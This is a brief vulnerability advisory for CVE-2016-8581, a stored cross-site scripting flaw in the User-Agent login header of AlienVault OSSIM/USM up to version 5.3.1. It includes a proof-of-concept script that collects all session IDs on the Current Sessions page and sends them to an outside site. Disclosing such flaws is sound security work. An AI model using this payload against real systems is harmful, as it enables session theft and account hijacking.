Details ======= Product: Alienvault OSSIM/USM Vulnerability: Stored XSS Author: Peter Lapp, lappsec () gmail com CVE: CVE-2016-8581 CVSS: 3.5 Vulnerable Versions: <=5.3.1 Fixed Version: 5.3.2 Vulnerability Details ===================== A stored XSS vulnerability exists in the User-Agent header of the login process. It's possible to inject a script into that header that then gets executed when mousing over the User-Agent field in Settings -> Current Sessions. POC === The POC uses jQuery to send all session IDs on the "Current Sessions" page to an arbitrary site (Google, in this case) <script>$('#ops_table .ops_id').each(function(){$.get("https://www.google.com/",{session:($(this).html())});});</script> Timeline ======== 08/03/16 - Reported to Vendor 10/03/16 - Fixed in version 5.3.2 References ========== https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities